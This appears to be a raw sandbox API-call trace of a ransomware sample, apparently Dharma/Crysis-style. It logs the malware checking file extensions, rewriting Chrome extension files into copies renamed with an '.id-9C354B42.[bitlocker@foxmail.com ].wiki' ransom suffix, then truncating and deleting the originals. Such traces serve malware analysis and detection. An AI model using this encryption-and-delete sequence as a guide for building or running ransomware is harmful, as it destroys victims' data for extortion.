[0181.058] lstrcmpiW (lpString1=".xls", lpString2=".css") returned 1 [0181.058] lstrlenW (lpString=".xlsx") returned 5 [0181.058] lstrcmpiW (lpString1=".xlsx", lpString2="p.css") returned -1 [0181.058] lstrlenW (lpString=".ppt") returned 4 [0181.058] lstrcmpiW (lpString1=".ppt", lpString2=".css") returned 1 [0181.059] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css") returned 158 [0181.059] lstrlenW (lpString=".zip") returned 4 [0181.059] lstrcmpiW (lpString1=".zip", lpString2=".css") returned 1 [0181.059] lstrlenW (lpString=".rar") returned 4 [0181.059] lstrcmpiW (lpString1=".rar", lpString2=".css") returned 1 [0181.059] lstrlenW (lpString=".bz2") returned 4 [0181.059] lstrcmpiW (lpString1=".bz2", lpString2=".css") returned -1 [0181.059] lstrlenW (lpString=".7z") returned 3 [0181.059] lstrcmpiW (lpString1=".7z", lpString2="css") returned -1 [0181.059] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css") returned 158 [0181.059] lstrlenW (lpString=".dbf") returned 4 [0181.059] lstrcmpiW (lpString1=".dbf", lpString2=".css") returned 1 [0181.059] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css") returned 158 [0181.059] lstrlenW (lpString=".1cd") returned 4 [0181.059] lstrcmpiW (lpString1=".1cd", lpString2=".css") returned -1 [0181.059] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css") returned 158 [0181.059] lstrlenW (lpString=".jpg") returned 4 [0181.059] lstrcmpiW (lpString1=".jpg", lpString2=".css") returned 1 [0181.059] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css") returned 158 [0181.059] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css") returned 158 [0181.059] lstrlenW (lpString=".doc") returned 4 [0181.059] lstrcmpiW (lpString1=".doc", lpString2=".css") returned 1 [0181.059] lstrlenW (lpString=".docx") returned 5 [0181.059] lstrcmpiW (lpString1=".docx", lpString2="p.css") returned -1 [0181.059] lstrlenW (lpString=".pdf") returned 4 [0181.059] lstrcmpiW (lpString1=".pdf", lpString2=".css") returned 1 [0181.059] lstrlenW (lpString=".xls") returned 4 [0181.059] lstrcmpiW (lpString1=".xls", lpString2=".css") returned 1 [0181.059] lstrlenW (lpString=".xlsx") returned 5 [0181.059] lstrcmpiW (lpString1=".xlsx", lpString2="p.css") returned -1 [0181.059] lstrlenW (lpString=".ppt") returned 4 [0181.059] lstrcmpiW (lpString1=".ppt", lpString2=".css") returned 1 [0181.059] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css") returned 158 [0181.060] lstrlenW (lpString=".zip") returned 4 [0181.060] lstrcmpiW (lpString1=".zip", lpString2=".css") returned 1 [0181.060] lstrlenW (lpString=".rar") returned 4 [0181.060] lstrcmpiW (lpString1=".rar", lpString2=".css") returned 1 [0181.060] lstrlenW (lpString=".bz2") returned 4 [0181.060] lstrcmpiW (lpString1=".bz2", lpString2=".css") returned -1 [0181.060] lstrlenW (lpString=".7z") returned 3 [0181.060] lstrcmpiW (lpString1=".7z", lpString2="css") returned -1 [0181.060] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css") returned 158 [0181.060] lstrlenW (lpString=".dbf") returned 4 [0181.060] lstrcmpiW (lpString1=".dbf", lpString2=".css") returned 1 [0181.060] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css") returned 158 [0181.060] lstrlenW (lpString=".1cd") returned 4 [0181.060] lstrcmpiW (lpString1=".1cd", lpString2=".css") returned -1 [0181.060] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css") returned 158 [0181.060] lstrlenW (lpString=".jpg") returned 4 [0181.060] lstrcmpiW (lpString1=".jpg", lpString2=".css") returned 1 [0181.060] lstrcmpiW (lpString1=".js", lpString2=".wiki") returned -1 [0181.060] lstrlenW (lpString="cast_app.js") returned 11 [0181.060] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0181.061] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=139738) returned 1 [0181.061] CloseHandle (hObject=0x158) returned 1 [0181.061] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js")) returned 0x2020 [0181.061] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0181.061] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0181.061] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0181.061] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0181.061] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0181.062] GetLastError () returned 0x0 [0181.062] ReadFile (in: hFile=0x158, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x221da, lpOverlapped=0x0) returned 1 [0181.066] WriteFile (in: hFile=0x2e0, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x221e0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x221e0, lpOverlapped=0x0) returned 1 [0181.153] ReadFile (in: hFile=0x158, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0181.153] WriteFile (in: hFile=0x2e0, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xea, lpOverlapped=0x0) returned 1 [0181.154] SetEndOfFile (hFile=0x2e0) returned 1 [0181.154] CloseHandle (hObject=0x2e0) returned 1 [0181.154] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0181.154] SetEndOfFile (hFile=0x158) returned 1 [0181.155] CloseHandle (hObject=0x158) returned 1 [0181.155] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0181.155] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js")) returned 1 [0181.279] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js") returned 157 [0181.279] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js") returned 157 [0181.279] lstrlenW (lpString=".doc") returned 4 [0181.279] lstrcmpiW (lpString1=".doc", lpString2="p.js") returned -1 [0181.279] lstrlenW (lpString=".docx") returned 5 [0181.279] lstrcmpiW (lpString1=".docx", lpString2="pp.js") returned -1 [0181.279] lstrlenW (lpString=".pdf") returned 4 [0181.279] lstrcmpiW (lpString1=".pdf", lpString2="p.js") returned -1 [0181.279] lstrlenW (lpString=".xls") returned 4 [0181.279] lstrcmpiW (lpString1=".xls", lpString2="p.js") returned -1 [0181.279] lstrlenW (lpString=".xlsx") returned 5 [0181.279] lstrcmpiW (lpString1=".xlsx", lpString2="pp.js") returned -1 [0181.279] lstrlenW (lpString=".ppt") returned 4 [0181.279] lstrcmpiW (lpString1=".ppt", lpString2="p.js") returned -1 [0181.279] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js") returned 157 [0181.279] lstrlenW (lpString=".zip") returned 4 [0181.279] lstrcmpiW (lpString1=".zip", lpString2="p.js") returned -1 [0181.279] lstrlenW (lpString=".rar") returned 4 [0181.279] lstrcmpiW (lpString1=".rar", lpString2="p.js") returned -1 [0181.279] lstrlenW (lpString=".bz2") returned 4 [0181.279] lstrcmpiW (lpString1=".bz2", lpString2="p.js") returned -1 [0181.280] lstrlenW (lpString=".7z") returned 3 [0181.280] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0181.280] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js") returned 157 [0181.280] lstrlenW (lpString=".dbf") returned 4 [0181.280] lstrcmpiW (lpString1=".dbf", lpString2="p.js") returned -1 [0181.280] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js") returned 157 [0181.280] lstrlenW (lpString=".1cd") returned 4 [0181.280] lstrcmpiW (lpString1=".1cd", lpString2="p.js") returned -1 [0181.280] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js") returned 157 [0181.280] lstrlenW (lpString=".jpg") returned 4 [0181.280] lstrcmpiW (lpString1=".jpg", lpString2="p.js") returned -1 [0181.280] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js") returned 157 [0181.280] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js") returned 157 [0181.280] lstrlenW (lpString=".doc") returned 4 [0181.280] lstrcmpiW (lpString1=".doc", lpString2="p.js") returned -1 [0181.280] lstrlenW (lpString=".docx") returned 5 [0181.280] lstrcmpiW (lpString1=".docx", lpString2="pp.js") returned -1 [0181.280] lstrlenW (lpString=".pdf") returned 4 [0181.280] lstrcmpiW (lpString1=".pdf", lpString2="p.js") returned -1 [0181.280] lstrlenW (lpString=".xls") returned 4 [0181.280] lstrcmpiW (lpString1=".xls", lpString2="p.js") returned -1 [0181.280] lstrlenW (lpString=".xlsx") returned 5 [0181.280] lstrcmpiW (lpString1=".xlsx", lpString2="pp.js") returned -1 [0181.280] lstrlenW (lpString=".ppt") returned 4 [0181.280] lstrcmpiW (lpString1=".ppt", lpString2="p.js") returned -1 [0181.280] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js") returned 157 [0181.280] lstrlenW (lpString=".zip") returned 4 [0181.280] lstrcmpiW (lpString1=".zip", lpString2="p.js") returned -1 [0181.280] lstrlenW (lpString=".rar") returned 4 [0181.280] lstrcmpiW (lpString1=".rar", lpString2="p.js") returned -1 [0181.281] lstrlenW (lpString=".bz2") returned 4 [0181.281] lstrcmpiW (lpString1=".bz2", lpString2="p.js") returned -1 [0181.281] lstrlenW (lpString=".7z") returned 3 [0181.281] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0181.281] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js") returned 157 [0181.281] lstrlenW (lpString=".dbf") returned 4 [0181.281] lstrcmpiW (lpString1=".dbf", lpString2="p.js") returned -1 [0181.281] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js") returned 157 [0181.281] lstrlenW (lpString=".1cd") returned 4 [0181.281] lstrcmpiW (lpString1=".1cd", lpString2="p.js") returned -1 [0181.281] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js") returned 157 [0181.281] lstrlenW (lpString=".jpg") returned 4 [0181.281] lstrcmpiW (lpString1=".jpg", lpString2="p.js") returned -1 [0181.281] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0181.281] lstrlenW (lpString="chromecast_logo_grey.png") returned 24 [0181.281] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0181.282] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=7151) returned 1 [0181.282] CloseHandle (hObject=0x158) returned 1 [0181.282] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png")) returned 0x2020 [0181.282] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0181.282] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0181.282] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0181.282] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0181.282] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0181.283] GetLastError () returned 0x0 [0181.283] ReadFile (in: hFile=0x158, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x1bef, lpOverlapped=0x0) returned 1 [0181.284] WriteFile (in: hFile=0x2e0, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x1bf0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x1bf0, lpOverlapped=0x0) returned 1 [0181.285] ReadFile (in: hFile=0x158, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0181.285] WriteFile (in: hFile=0x2e0, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x104, lpOverlapped=0x0) returned 1 [0181.285] SetEndOfFile (hFile=0x2e0) returned 1 [0181.286] CloseHandle (hObject=0x2e0) returned 1 [0181.286] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0181.286] SetEndOfFile (hFile=0x158) returned 1 [0181.286] CloseHandle (hObject=0x158) returned 1 [0181.286] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0181.287] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png")) returned 1 [0181.287] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png") returned 170 [0181.287] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png") returned 170 [0181.287] lstrlenW (lpString=".doc") returned 4 [0181.287] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0181.287] lstrlenW (lpString=".docx") returned 5 [0181.287] lstrcmpiW (lpString1=".docx", lpString2="y.png") returned -1 [0181.287] lstrlenW (lpString=".pdf") returned 4 [0181.287] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0181.287] lstrlenW (lpString=".xls") returned 4 [0181.287] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0181.287] lstrlenW (lpString=".xlsx") returned 5 [0181.287] lstrcmpiW (lpString1=".xlsx", lpString2="y.png") returned -1 [0181.287] lstrlenW (lpString=".ppt") returned 4 [0181.287] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0181.287] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png") returned 170 [0181.287] lstrlenW (lpString=".zip") returned 4 [0181.287] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0181.287] lstrlenW (lpString=".rar") returned 4 [0181.287] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0181.287] lstrlenW (lpString=".bz2") returned 4 [0181.287] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0181.288] lstrlenW (lpString=".7z") returned 3 [0181.288] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0181.288] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png") returned 170 [0181.288] lstrlenW (lpString=".dbf") returned 4 [0181.288] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0181.288] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png") returned 170 [0181.288] lstrlenW (lpString=".1cd") returned 4 [0181.288] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0181.288] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png") returned 170 [0181.288] lstrlenW (lpString=".jpg") returned 4 [0181.288] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0181.288] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png") returned 170 [0181.288] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png") returned 170 [0181.288] lstrlenW (lpString=".doc") returned 4 [0181.288] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0181.288] lstrlenW (lpString=".docx") returned 5 [0181.288] lstrcmpiW (lpString1=".docx", lpString2="y.png") returned -1 